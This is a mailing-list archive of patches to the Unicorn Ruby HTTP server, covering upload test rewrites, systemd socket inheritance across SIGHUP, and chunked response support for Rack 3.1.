print $out <<EOM;
PUT $path HTTP/1.1\r
@@ -36,7 +35,7 @@ Trailer: Content-MD5\r
EOM
my ($buf, $r);
while (1) {
- $r = read($in, $buf, $bs);
+ $r = read($in, $buf, 999 + int(rand(0xffff)));
last if $r == 0;
printf $out "%x\r\n", length($buf);
print $out $buf, "\r\n";
@@ -46,15 +45,15 @@ EOM
},
identity => sub {
my ($in, $out, $path, %opt) = @_;
- my $bs = $opt{bs} // 16384;
my $clen = $opt{-s} // -s $in;
print $out <<EOM;
PUT $path HTTP/1.0\r
Content-Length: $clen\r
\r
EOM
- my ($buf, $r, $len);
+ my ($buf, $r, $len, $bs);
while ($clen) {
+ $bs = 999 + int(rand(0xffff));
$len = $clen > $bs ? $bs : $clen;
$r = read($in, $buf, $len);
die 'premature EOF' if $r == 0;
@@ -192,8 +191,10 @@ SKIP: {
my ($sub, $path, %opt) = @_;
seek($rh, 0, SEEK_SET);
$c = tcp_start($srv);
- $c->autoflush(0);
+ $c->autoflush($opt{sync} // 0);
$PUT{$sub}->($rh, $c, $path, %opt);
+ defined($opt{overwrite}) and
+ print { $c } ('x' x $opt{overwrite});
$c->flush or die $!;
($status, $hdr) = slurp_hdr($c);
is(readline($c), $blob_hash, "$sub $path");
@@ -205,6 +206,27 @@ SKIP: {
$ck_hash->('chunked_md5', '/rack_input/size_first');
$ck_hash->('chunked_md5', '/rack_input/rewind_first');
+ $ck_hash->('identity', '/rack_input', -s => $blob_size, sync => 1);
+ $ck_hash->('chunked_md5', '/rack_input', sync => 1);
+
+ # ensure small overwrites don't get checksummed
+ $ck_hash->('identity', '/rack_input', -s => $blob_size,
+ overwrite => 1); # one extra byte
+
+ # excessive overwrite truncated
+ $c = tcp_start($srv);
+ $c->autoflush(0);
+ print $c "PUT /rack_input HTTP/1.0\r\nContent-Length: 1\r\n\r\n";
+ if (1) {
+ local $SIG{PIPE} = 'IGNORE';
+ my $buf = "\0" x 8192;
+ my $n = 0;
+ my $end = time + 5;
+ $! = 0;
+ while (print $c $buf and time < $end) { ++$n }
+ ok($!, 'overwrite truncated') or diag "n=$n err=$! ".time;
+ }
+ undef $c;
$curl // skip 'no curl found in PATH', 1;
diff --git a/test/unit/test_upload.rb b/test/unit/test_upload.rb
deleted file mode 100644
index 76e6c1c..0000000
--- a/test/unit/test_upload.rb
+++ /dev/null
@@ -1,301 +0,0 @@
-# -*- encoding: binary -*-
-
-# Copyright (c) 2009 Eric Wong
-require './test/test_helper'
-require 'digest/md5'
-
-include Unicorn
-
-class UploadTest < Test::Unit::TestCase
-
- def setup
- @addr = ENV['UNICORN_TEST_ADDR'] || '127.0.0.1'
- @port = unused_port
- @hdr = {'Content-Type' => 'text/plain', 'Content-Length' => '0'}
- @bs = 4096
- @count = 256
- @server = nil
-
- # we want random binary data to test 1.9 encoding-aware IO craziness
- @random = File.open('/dev/urandom','rb')
- @sha1 = Digest::SHA1.new
- @sha1_app = lambda do |env|
- input = env['rack.input']
- resp = {}
-
- @sha1.reset
- while buf = input.read(@bs)
- @sha1.update(buf)
- end
- resp[:sha1] = @sha1.hexdigest
-
- # rewind and read again
- input.rewind
- @sha1.reset
- while buf = input.read(@bs)
- @sha1.update(buf)
- end
-
- if resp[:sha1] == @sha1.hexdigest
- resp[:sysread_read_byte_match] = true
- end
-
- if expect_size = env['HTTP_X_EXPECT_SIZE']
- if expect_size.to_i == input.size
- resp[:expect_size_match] = true
- end
- end
- resp[:size] = input.size
- resp[:content_md5] = env['HTTP_CONTENT_MD5']
-
- [ 200, @hdr.merge({'X-Resp' => resp.inspect}), [] ]
- end
- end
-
- def teardown
- redirect_test_io { @server.stop(false) } if @server
- @random.close
- reset_sig_handlers
- end
-
- def test_put
- start_server(@sha1_app)
- sock = tcp_socket(@addr, @port)
- sock.syswrite("PUT / HTTP/1.0\r\nContent-Length: #{length}\r\n\r\n")
- @count.times do |i|
- buf = @random.sysread(@bs)
- @sha1.update(buf)
- sock.syswrite(buf)
- end
- read = sock.read.split(/\r\n/)
- assert_equal "HTTP/1.1 200 OK", read[0]
- resp = eval(read.grep(/^X-Resp: /).first.sub!(/X-Resp: /, ''))
- assert_equal length, resp[:size]
- assert_equal @sha1.hexdigest, resp[:sha1]
- end
-
- def test_put_content_md5
- md5 = Digest::MD5.new
- start_server(@sha1_app)
- sock = tcp_socket(@addr, @port)
- sock.syswrite("PUT / HTTP/1.0\r\nTransfer-Encoding: chunked\r\n" \
- "Trailer: Content-MD5\r\n\r\n")
- @count.times do |i|
- buf = @random.sysread(@bs)
- @sha1.update(buf)
- md5.update(buf)
- sock.syswrite("#{'%x' % buf.size}\r\n")
- sock.syswrite(buf << "\r\n")
- end
- sock.syswrite("0\r\n")
-
- content_md5 = [ md5.digest! ].pack('m').strip.freeze
- sock.syswrite("Content-MD5: #{content_md5}\r\n\r\n")
- read = sock.read.split(/\r\n/)
- assert_equal "HTTP/1.1 200 OK", read[0]
- resp = eval(read.grep(/^X-Resp: /).first.sub!(/X-Resp: /, ''))
- assert_equal length, resp[:size]
- assert_equal @sha1.hexdigest, resp[:sha1]
- assert_equal content_md5, resp[:content_md5]
- end
-
- def test_put_trickle_small
- @count, @bs = 2, 128
- start_server(@sha1_app)
- assert_equal 256, length
- sock = tcp_socket(@addr, @port)
- hdr = "PUT / HTTP/1.0\r\nContent-Length: #{length}\r\n\r\n"
- @count.times do
- buf = @random.sysread(@bs)
- @sha1.update(buf)
- hdr << buf
- sock.syswrite(hdr)
- hdr = ''
- sleep 0.6
- end
- read = sock.read.split(/\r\n/)
- assert_equal "HTTP/1.1 200 OK", read[0]
- resp = eval(read.grep(/^X-Resp: /).first.sub!(/X-Resp: /, ''))
- assert_equal length, resp[:size]
- assert_equal @sha1.hexdigest, resp[:sha1]
- end
-
- def test_put_keepalive_truncates_small_overwrite
- start_server(@sha1_app)
- sock = tcp_socket(@addr, @port)
- to_upload = length + 1
- sock.syswrite("PUT / HTTP/1.0\r\nContent-Length: #{to_upload}\r\n\r\n")
- @count.times do
- buf = @random.sysread(@bs)
- @sha1.update(buf)
- sock.syswrite(buf)
- end
- sock.syswrite('12345') # write 4 bytes more than we expected
- @sha1.update('1')
-
- buf = sock.readpartial(4096)
- while buf !~ /\r\n\r\n/
- buf << sock.readpartial(4096)
- end
- read = buf.split(/\r\n/)
- assert_equal "HTTP/1.1 200 OK", read[0]
- resp = eval(read.grep(/^X-Resp: /).first.sub!(/X-Resp: /, ''))
- assert_equal to_upload, resp[:size]
- assert_equal @sha1.hexdigest, resp[:sha1]
- end
-
- def test_put_excessive_overwrite_closed
- tmp = Tempfile.new('overwrite_check')
- tmp.sync = true
- start_server(lambda { |env|
- nr = 0
- while buf = env['rack.input'].read(65536)
- nr += buf.size
- end
- tmp.write(nr.to_s)
- [ 200, @hdr, [] ]
- })
- sock = tcp_socket(@addr, @port)
- buf = ' ' * @bs
- sock.syswrite("PUT / HTTP/1.0\r\nContent-Length: #{length}\r\n\r\n")
-
- @count.times { sock.syswrite(buf) }
- assert_raise(Errno::ECONNRESET, Errno::EPIPE) do
- ::Unicorn::Const::CHUNK_SIZE.times { sock.syswrite(buf) }
- end
- sock.gets
- tmp.rewind
- assert_equal length, tmp.read.to_i
- end
-
- # Despite reading numerous articles and inspecting the 1.9.1-p0 C
- # source, Eric Wong will never trust that we're always handling
- # encoding-aware IO objects correctly. Thus this test uses shell
- # utilities that should always operate on files/sockets on a
- # byte-level.
- def test_uncomfortable_with_onenine_encodings
- # POSIX doesn't require all of these to be present on a system
- which('curl') or return
- which('sha1sum') or return
- which('dd') or return
-
- start_server(@sha1_app)
-
- tmp = Tempfile.new('dd_dest')
- assert(system("dd", "if=#{@random.path}", "of=#{tmp.path}",
- "bs=#{@bs}", "count=#{@count}"),
- "dd #@random to #{tmp}")
- sha1_re = %r!\b([a-f0-9]{40})\b!
- sha1_out = `sha1sum #{tmp.path}`
- assert $?.success?, 'sha1sum ran OK'
-
- assert_match(sha1_re, sha1_out)
- sha1 = sha1_re.match(sha1_out)[1]
- resp = `curl -isSfN -T#{tmp.path} http://#@addr:#@port/`
- assert $?.success?, 'curl ran OK'
- assert_match(%r!\b#{sha1}\b!, resp)
- assert_match(/sysread_read_byte_match/, resp)
-
- # small StringIO path
- assert(system("dd", "if=#{@random.path}", "of=#{tmp.path}",
- "bs=1024", "count=1"),
- "dd #@random to #{tmp}")
- sha1_re = %r!\b([a-f0-9]{40})\b!
- sha1_out = `sha1sum #{tmp.path}`
- assert $?.success?, 'sha1sum ran OK'
-
- assert_match(sha1_re, sha1_out)
- sha1 = sha1_re.match(sha1_out)[1]
- resp = `curl -isSfN -T#{tmp.path} http://#@addr:#@port/`
- assert $?.success?, 'curl ran OK'
- assert_match(%r!\b#{sha1}\b!, resp)
- assert_match(/sysread_read_byte_match/, resp)
- end
-
- def test_chunked_upload_via_curl
- # POSIX doesn't require all of these to be present on a system
- which('curl') or return
- which('sha1sum') or return
- which('dd') or return
-
- start_server(@sha1_app)
-
- tmp = Tempfile.new('dd_dest')
- assert(system("dd", "if=#{@random.path}", "of=#{tmp.path}",
- "bs=#{@bs}", "count=#{@count}"),
- "dd #@random to #{tmp}")
- sha1_re = %r!\b([a-f0-9]{40})\b!
- sha1_out = `sha1sum #{tmp.path}`
- assert $?.success?, 'sha1sum ran OK'
-
- assert_match(sha1_re, sha1_out)
- sha1 = sha1_re.match(sha1_out)[1]
- cmd = "curl -H 'X-Expect-Size: #{tmp.size}' --tcp-nodelay \
- -isSf --no-buffer -T- " \
- "http://#@addr:#@port/"
- resp = Tempfile.new('resp')
- resp.sync = true
-
- rd, wr = IO.pipe.each do |io|
- io.sync = io.close_on_exec = true
- end
- pid = spawn(*cmd, { 0 => rd, 1 => resp })
- rd.close
-
- tmp.rewind
- @count.times { |i|
- wr.write(tmp.read(@bs))
- sleep(rand / 10) if 0 == i % 8
- }
- wr.close
- pid, status = Process.waitpid2(pid)
-
- resp.rewind
- resp = resp.read
- assert status.success?, 'curl ran OK'
- assert_match(%r!\b#{sha1}\b!, resp)
- assert_match(/sysread_read_byte_match/, resp)
- assert_match(/expect_size_match/, resp)
- end
-
- def test_curl_chunked_small
- # POSIX doesn't require all of these to be present on a system
- which('curl') or return
- which('sha1sum') or return
- which('dd') or return
-
- start_server(@sha1_app)
-
- tmp = Tempfile.new('dd_dest')
- # small StringIO path
- assert(system("dd", "if=#{@random.path}", "of=#{tmp.path}",
- "bs=1024", "count=1"),
- "dd #@random to #{tmp}")
- sha1_re = %r!\b([a-f0-9]{40})\b!
- sha1_out = `sha1sum #{tmp.path}`
- assert $?.success?, 'sha1sum ran OK'
-
- assert_match(sha1_re, sha1_out)
- sha1 = sha1_re.match(sha1_out)[1]
- resp = `curl -H 'X-Expect-Size: #{tmp.size}' --tcp-nodelay \
- -isSf --no-buffer -T- http://#@addr:#@port/ < #{tmp.path}`
- assert $?.success?, 'curl ran OK'
- assert_match(%r!\b#{sha1}\b!, resp)
- assert_match(/sysread_read_byte_match/, resp)
- assert_match(/expect_size_match/, resp)
- end
-
- private
-
- def length
- @bs * @count
- end
-
- def start_server(app)
- redirect_test_io do
- @server = HttpServer.new(app, :listeners => [ "#{@addr}:#{@port}" ] )
- @server.start
- end
- end
-
-end
[-- Attachment #23: 0022-drop-redundant-IO-close_on_exec-false-calls.patch --]
[-- Type: text/x-diff, Size: 891 bytes --]
From 841b9e756beb1aa00d0f89097a808adcbbf45397 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:51 +0000
Subject: [PATCH 22/23] drop redundant IO#close_on_exec=false calls
Passing the `{ FD => IO }' mapping to #spawn or #exec already
ensures Ruby will clear FD_CLOEXEC on these FDs before execve(2).
---
lib/unicorn/http_server.rb | 5 +----
1 file changed, 1 insertion(+), 4 deletions(-)
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 348e745..dd92b38 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -472,10 +472,7 @@ def worker_spawn(worker)
def listener_sockets
listener_fds = {}
- LISTENERS.each do |sock|
- sock.close_on_exec = false
- listener_fds[sock.fileno] = sock
- end
+ LISTENERS.each { |sock| listener_fds[sock.fileno] = sock }
listener_fds
end
[-- Attachment #24: 0023-LISTEN_FDS-inherited-sockets-are-immortal-across-SIG.patch --]
[-- Type: text/x-diff, Size: 3229 bytes --]
From 6ff8785c9277c5978e6dc01cb1b3da25d6bae2db Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:52 +0000
Subject: [PATCH 23/23] LISTEN_FDS-inherited sockets are immortal across SIGHUP
When using systemd-style socket activation, consider the
inherited socket immortal and do not drop it on SIGHUP.
This means configs w/o any `listen' directives at all can
continue to work after SIGHUP.
I only noticed this while writing some tests in Perl 5 and
the test suite is two lines shorter to test this feature :>
---
lib/unicorn/http_server.rb | 7 ++++++-
t/client_body_buffer_size.t | 1 -
t/integration.t | 1 -
3 files changed, 6 insertions(+), 3 deletions(-)
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index dd92b38..f1b4a54 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -77,6 +77,7 @@ def initialize(app, options = {})
options[:use_defaults] = true
self.config = Unicorn::Configurator.new(options)
self.listener_opts = {}
+ @immortal = [] # immortal inherited sockets from systemd
# We use @self_pipe differently in the master and worker processes:
#
@@ -158,6 +159,7 @@ def listeners=(listeners)
end
set_names = listener_names(listeners)
dead_names.concat(cur_names - set_names).uniq!
+ dead_names -= @immortal.map { |io| sock_name(io) }
LISTENERS.delete_if do |io|
if dead_names.include?(sock_name(io))
@@ -807,17 +809,20 @@ def inherit_listeners!
# inherit sockets from parents, they need to be plain Socket objects
# before they become Kgio::UNIXServer or Kgio::TCPServer
inherited = ENV['UNICORN_FD'].to_s.split(',')
+ immortal = []
# emulate sd_listen_fds() for systemd
sd_pid, sd_fds = ENV.values_at('LISTEN_PID', 'LISTEN_FDS')
if sd_pid.to_i == $$ # n.b. $$ can never be zero
# 3 = SD_LISTEN_FDS_START
- inherited.concat((3...(3 + sd_fds.to_i)).to_a)
+ immortal = (3...(3 + sd_fds.to_i)).to_a
+ inherited.concat(immortal)
end
# to ease debugging, we will not unset LISTEN_PID and LISTEN_FDS
inherited.map! do |fd|
io = Socket.for_fd(fd.to_i)
+ @immortal << io if immortal.include?(fd)
io.autoclose = false
io = server_cast(io)
set_server_sockopt(io, listener_opts[sock_name(io)])
diff --git a/t/client_body_buffer_size.t b/t/client_body_buffer_size.t
index b1a99f3..3067f28 100644
--- a/t/client_body_buffer_size.t
+++ b/t/client_body_buffer_size.t
@@ -36,7 +36,6 @@ POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
seek($conf_fh, 0, SEEK_SET);
truncate($conf_fh, 0);
print $conf_fh <<EOM;
-listen "$host_port" # TODO: remove this requirement for SIGHUP
after_fork { |_,_| File.open('$fifo', 'w') { |fp| fp.write "pid=#\$\$" } }
EOM
$ar->do_kill('HUP');
diff --git a/t/integration.t b/t/integration.t
index a568758..bb2ab51 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -17,7 +17,6 @@ my $u1 = "$tmpdir/u1";
print $conf_fh <<EOM;
early_hints true
listen "$u1"
-listen "$host_port" # TODO: remove this requirement for SIGHUP
EOM
my $ar = unicorn(qw(-E none t/integration.ru -c), $conf, { 3 => $srv });
my $curl = which('curl');
^ permalink raw reply related [relevance 12%]
* [PATCH v2] chunk unterminated HTTP/1.1 responses for Rack 3.1
2023-06-02 2:45 0% ` Jeremy Evans
@ 2023-06-05 9:12 4% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2023-06-05 9:12 UTC (permalink / raw)
To: Jeremy Evans; +Cc: unicorn-public
Jeremy Evans <code@jeremyevans.net> wrote:
> We deprecated Rack::Chunked in Rack 3.0 and plan to remove it in Rack
> 3.1. I agree it would be best to deal with this now, I just wasn't sure
> how you wanted to handle it. Your patch below to deal with it at the
> server level looks good, though it doesn't appear to remove the Chunked
> usage at line 69 of unicorn.rb. I recommend that also be removed.
OK. Also added HEAD and STATUS_WITH_NO_ENTITY_BODY checks...
No tests, yet; they'll be in Perl 5. (I started rewriting a bunch
of tests in Perl5 last year since tests are where Ruby's yearly
breaking changes are most unacceptable to me).
No trailers for responses yet, either; I didn't realize Rack::Chunked
added special support for that in 2020.
I care deeply about trailers in requests, but never used them
for responses.
--------8<-------
Subject: [PATCH v2] chunk unterminated HTTP/1.1 responses for Rack 3.1
Rack::Chunked will be gone in Rack 3.1, so provide a
non-middleware fallback which takes advantage of IO#write
supporting multiple arguments in Ruby 2.5+.
We still need to support Ruby 2.4, at least, since Rack 3.0
does. So a new (GC-unfriendly) Unicorn::WriteSplat module now
exists for Ruby <= 2.4 users.
---
v2: remove Rack::Chunk load attempt
fix arity check for Ruby <= 2.4
update docs + examples
Interdiff:
diff --git a/Documentation/unicorn.1 b/Documentation/unicorn.1
index d76d40f..b2c5e70 100644
--- a/Documentation/unicorn.1
+++ b/Documentation/unicorn.1
@@ -176,7 +176,7 @@ As of Unicorn 0.94.0, RACK_ENV is exported as a process\-wide environment
variable as well. While not current a part of the Rack specification as
of Rack 1.0.1, this has become a de facto standard in the Rack world.
.PP
-Note the Rack::ContentLength and Rack::Chunked middlewares are also
+Note the Rack::ContentLength middleware is also
loaded by "deployment" and "development", but no other values of
RACK_ENV. If needed, they must be individually specified in the
RACKUP_FILE, some frameworks do not require them.
diff --git a/examples/echo.ru b/examples/echo.ru
index 14908c5..e982180 100644
--- a/examples/echo.ru
+++ b/examples/echo.ru
@@ -19,7 +19,6 @@ def each(&block)
end
-use Rack::Chunked
run lambda { |env|
/\A100-continue\z/i =~ env['HTTP_EXPECT'] and return [100, {}, []]
[ 200, { 'Content-Type' => 'application/octet-stream' },
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index c339024..afdf680 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -28,11 +28,15 @@ void init_unicorn_httpdate(void);
#define UH_FL_TO_CLEAR 0x200
#define UH_FL_RESSTART 0x400 /* for check_client_connection */
#define UH_FL_HIJACK 0x800
-#define UH_FL_RES_CHUNK_OK (1U << 12)
+#define UH_FL_RES_CHUNK_VER (1U << 12)
+#define UH_FL_RES_CHUNK_METHOD (1U << 13)
/* all of these flags need to be set for keepalive to be supported */
#define UH_FL_KEEPALIVE (UH_FL_KAVERSION | UH_FL_REQEOF | UH_FL_HASHEADER)
+/* we can only chunk responses for non-HEAD HTTP/1.1 requests */
+#define UH_FL_RES_CHUNKABLE (UH_FL_RES_CHUNK_VER | UH_FL_RES_CHUNK_METHOD)
+
static unsigned int MAX_HEADER_LEN = 1024 * (80 + 32); /* same as Mongrel */
/* this is only intended for use with Rainbows! */
@@ -146,6 +150,9 @@ request_method(struct http_parser *hp, const char *ptr, size_t len)
{
VALUE v = rb_str_new(ptr, len);
+ if (len != 4 || memcmp(ptr, "HEAD", 4))
+ HP_FL_SET(hp, RES_CHUNK_METHOD);
+
rb_hash_aset(hp->env, g_request_method, v);
}
@@ -159,7 +166,7 @@ http_version(struct http_parser *hp, const char *ptr, size_t len)
if (CONST_MEM_EQ("HTTP/1.1", ptr, len)) {
/* HTTP/1.1 implies keepalive unless "Connection: close" is set */
HP_FL_SET(hp, KAVERSION);
- HP_FL_SET(hp, RES_CHUNK_OK);
+ HP_FL_SET(hp, RES_CHUNK_VER);
v = g_http_11;
} else if (CONST_MEM_EQ("HTTP/1.0", ptr, len)) {
v = g_http_10;
@@ -806,9 +813,9 @@ static VALUE HttpParser_keepalive(VALUE self)
/* :nodoc: */
static VALUE chunkable_response_p(VALUE self)
{
- struct http_parser *hp = data_get(self);
+ const struct http_parser *hp = data_get(self);
- return HP_FL_ALL(hp, RES_CHUNK_OK) ? Qtrue : Qfalse;
+ return HP_FL_ALL(hp, RES_CHUNKABLE) ? Qtrue : Qfalse;
}
/**
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index 8b1cda7..b817b77 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -66,7 +66,6 @@ def self.builder(ru, op)
middleware = { # order matters
ContentLength: nil,
- Chunked: nil,
CommonLogger: [ $stderr ],
ShowExceptions: nil,
Lint: nil,
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index 342dd0b..0ed0ae3 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -12,6 +12,12 @@ module Unicorn::HttpResponse
STATUS_CODES = defined?(Rack::Utils::HTTP_STATUS_CODES) ?
Rack::Utils::HTTP_STATUS_CODES : {}
+ STATUS_WITH_NO_ENTITY_BODY = defined?(
+ Rack::Utils::STATUS_WITH_NO_ENTITY_BODY) ?
+ Rack::Utils::STATUS_WITH_NO_ENTITY_BODY : begin
+ warn 'Rack::Utils::STATUS_WITH_NO_ENTITY_BODY missing'
+ {}
+ end
# internal API, code will always be common-enough-for-even-old-Rack
def err_response(code, response_start_sent)
@@ -40,7 +46,7 @@ def http_response_write(socket, status, headers, body,
code = status.to_i
msg = STATUS_CODES[code]
start = req.response_start_sent ? ''.freeze : 'HTTP/1.1 '.freeze
- term = false
+ term = STATUS_WITH_NO_ENTITY_BODY.include?(code) || false
buf = "#{start}#{msg ? %Q(#{code} #{msg}) : status}\r\n" \
"Date: #{httpdate}\r\n" \
"Connection: close\r\n"
diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
index 4ae4c85..c2ba75e 100644
--- a/lib/unicorn/socket_helper.rb
+++ b/lib/unicorn/socket_helper.rb
@@ -15,7 +15,7 @@ def kgio_tryaccept # :nodoc:
end
end
- if IO.instance_method(:write).arity # Ruby <= 2.4
+ if IO.instance_method(:write).arity == 1 # Ruby <= 2.4
require 'unicorn/write_splat'
UNIXClient = Class.new(Kgio::Socket) # :nodoc:
class UNIXSrv < Kgio::UNIXServer # :nodoc:
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index cea9791..fe98fcc 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -196,7 +196,7 @@ def test_client_shutdown_writes
# continue to process our request and never hit EOFError on our sock
sock.shutdown(Socket::SHUT_WR)
buf = sock.read
- assert_match %r{\bhello!\\n\b}, buf.split(/\r\n\r\n/).last
+ assert_match %r{\bhello!\\n\b}, buf.split(/\r\n\r\n/, 2).last
next_client = Net::HTTP.get(URI.parse("http://127.0.0.1:#@port/"))
assert_equal 'hello!\n', next_client
lines = File.readlines("test_stderr.#$$.log")
Documentation/unicorn.1 | 2 +-
examples/echo.ru | 1 -
ext/unicorn_http/unicorn_http.rl | 18 ++++++++++++++++++
lib/unicorn.rb | 5 ++---
lib/unicorn/http_response.rb | 27 ++++++++++++++++++++++++++-
lib/unicorn/socket_helper.rb | 18 ++++++++++++++++--
lib/unicorn/write_splat.rb | 7 +++++++
test/unit/test_server.rb | 2 +-
8 files changed, 71 insertions(+), 9 deletions(-)
create mode 100644 lib/unicorn/write_splat.rb
diff --git a/Documentation/unicorn.1 b/Documentation/unicorn.1
index d76d40f..b2c5e70 100644
--- a/Documentation/unicorn.1
+++ b/Documentation/unicorn.1
@@ -176,7 +176,7 @@ As of Unicorn 0.94.0, RACK_ENV is exported as a process\-wide environment
variable as well. While not current a part of the Rack specification as
of Rack 1.0.1, this has become a de facto standard in the Rack world.
.PP
-Note the Rack::ContentLength and Rack::Chunked middlewares are also
+Note the Rack::ContentLength middleware is also
loaded by "deployment" and "development", but no other values of
RACK_ENV. If needed, they must be individually specified in the
RACKUP_FILE, some frameworks do not require them.
diff --git a/examples/echo.ru b/examples/echo.ru
index 14908c5..e982180 100644
--- a/examples/echo.ru
+++ b/examples/echo.ru
@@ -19,7 +19,6 @@ def each(&block)
end
-use Rack::Chunked
run lambda { |env|
/\A100-continue\z/i =~ env['HTTP_EXPECT'] and return [100, {}, []]
[ 200, { 'Content-Type' => 'application/octet-stream' },
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index ba23438..afdf680 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -28,10 +28,15 @@ void init_unicorn_httpdate(void);
#define UH_FL_TO_CLEAR 0x200
#define UH_FL_RESSTART 0x400 /* for check_client_connection */
#define UH_FL_HIJACK 0x800
+#define UH_FL_RES_CHUNK_VER (1U << 12)
+#define UH_FL_RES_CHUNK_METHOD (1U << 13)
/* all of these flags need to be set for keepalive to be supported */
#define UH_FL_KEEPALIVE (UH_FL_KAVERSION | UH_FL_REQEOF | UH_FL_HASHEADER)
+/* we can only chunk responses for non-HEAD HTTP/1.1 requests */
+#define UH_FL_RES_CHUNKABLE (UH_FL_RES_CHUNK_VER | UH_FL_RES_CHUNK_METHOD)
+
static unsigned int MAX_HEADER_LEN = 1024 * (80 + 32); /* same as Mongrel */
/* this is only intended for use with Rainbows! */
@@ -145,6 +150,9 @@ request_method(struct http_parser *hp, const char *ptr, size_t len)
{
VALUE v = rb_str_new(ptr, len);
+ if (len != 4 || memcmp(ptr, "HEAD", 4))
+ HP_FL_SET(hp, RES_CHUNK_METHOD);
+
rb_hash_aset(hp->env, g_request_method, v);
}
@@ -158,6 +166,7 @@ http_version(struct http_parser *hp, const char *ptr, size_t len)
if (CONST_MEM_EQ("HTTP/1.1", ptr, len)) {
/* HTTP/1.1 implies keepalive unless "Connection: close" is set */
HP_FL_SET(hp, KAVERSION);
+ HP_FL_SET(hp, RES_CHUNK_VER);
v = g_http_11;
} else if (CONST_MEM_EQ("HTTP/1.0", ptr, len)) {
v = g_http_10;
@@ -801,6 +810,14 @@ static VALUE HttpParser_keepalive(VALUE self)
return HP_FL_ALL(hp, KEEPALIVE) ? Qtrue : Qfalse;
}
+/* :nodoc: */
+static VALUE chunkable_response_p(VALUE self)
+{
+ const struct http_parser *hp = data_get(self);
+
+ return HP_FL_ALL(hp, RES_CHUNKABLE) ? Qtrue : Qfalse;
+}
+
/**
* call-seq:
* parser.next? => true or false
@@ -981,6 +998,7 @@ void Init_unicorn_http(void)
rb_define_method(cHttpParser, "content_length", HttpParser_content_length, 0);
rb_define_method(cHttpParser, "body_eof?", HttpParser_body_eof, 0);
rb_define_method(cHttpParser, "keepalive?", HttpParser_keepalive, 0);
+ rb_define_method(cHttpParser, "chunkable_response?", chunkable_response_p, 0);
rb_define_method(cHttpParser, "headers?", HttpParser_has_headers, 0);
rb_define_method(cHttpParser, "next?", HttpParser_next, 0);
rb_define_method(cHttpParser, "buf", HttpParser_buf, 0);
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index 1a50631..b817b77 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -66,7 +66,6 @@ def self.builder(ru, op)
middleware = { # order matters
ContentLength: nil,
- Chunked: nil,
CommonLogger: [ $stderr ],
ShowExceptions: nil,
Lint: nil,
@@ -75,8 +74,8 @@ def self.builder(ru, op)
# return value, matches rackup defaults based on env
# Unicorn does not support persistent connections, but Rainbows!
- # and Zbatery both do. Users accustomed to the Rack::Server default
- # middlewares will need ContentLength/Chunked middlewares.
+ # does. Users accustomed to the Rack::Server default
+ # middlewares will need ContentLength middleware.
case ENV["RACK_ENV"]
when "development"
when "deployment"
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index 19469b4..0ed0ae3 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -12,6 +12,12 @@ module Unicorn::HttpResponse
STATUS_CODES = defined?(Rack::Utils::HTTP_STATUS_CODES) ?
Rack::Utils::HTTP_STATUS_CODES : {}
+ STATUS_WITH_NO_ENTITY_BODY = defined?(
+ Rack::Utils::STATUS_WITH_NO_ENTITY_BODY) ?
+ Rack::Utils::STATUS_WITH_NO_ENTITY_BODY : begin
+ warn 'Rack::Utils::STATUS_WITH_NO_ENTITY_BODY missing'
+ {}
+ end
# internal API, code will always be common-enough-for-even-old-Rack
def err_response(code, response_start_sent)
@@ -35,11 +41,12 @@ def append_header(buf, key, value)
def http_response_write(socket, status, headers, body,
req = Unicorn::HttpRequest.new)
hijack = nil
-
+ do_chunk = false
if headers
code = status.to_i
msg = STATUS_CODES[code]
start = req.response_start_sent ? ''.freeze : 'HTTP/1.1 '.freeze
+ term = STATUS_WITH_NO_ENTITY_BODY.include?(code) || false
buf = "#{start}#{msg ? %Q(#{code} #{msg}) : status}\r\n" \
"Date: #{httpdate}\r\n" \
"Connection: close\r\n"
@@ -47,6 +54,12 @@ def http_response_write(socket, status, headers, body,
case key
when %r{\A(?:Date|Connection)\z}i
next
+ when %r{\AContent-Length\z}i
+ append_header(buf, key, value)
+ term = true
+ when %r{\ATransfer-Encoding\z}i
+ append_header(buf, key, value)
+ term = true if /\bchunked\b/i === value # value may be Array :x
when "rack.hijack"
# This should only be hit under Rack >= 1.5, as this was an illegal
# key in Rack < 1.5
@@ -55,12 +68,24 @@ def http_response_write(socket, status, headers, body,
append_header(buf, key, value)
end
end
+ if !hijack && !term && req.chunkable_response?
+ do_chunk = true
+ buf << "Transfer-Encoding: chunked\r\n".freeze
+ end
socket.write(buf << "\r\n".freeze)
end
if hijack
req.hijacked!
hijack.call(socket)
+ elsif do_chunk
+ begin
+ body.each do |b|
+ socket.write("#{b.bytesize.to_s(16)}\r\n", b, "\r\n".freeze)
+ end
+ ensure
+ socket.write("0\r\n\r\n".freeze)
+ end
else
body.each { |chunk| socket.write(chunk) }
end
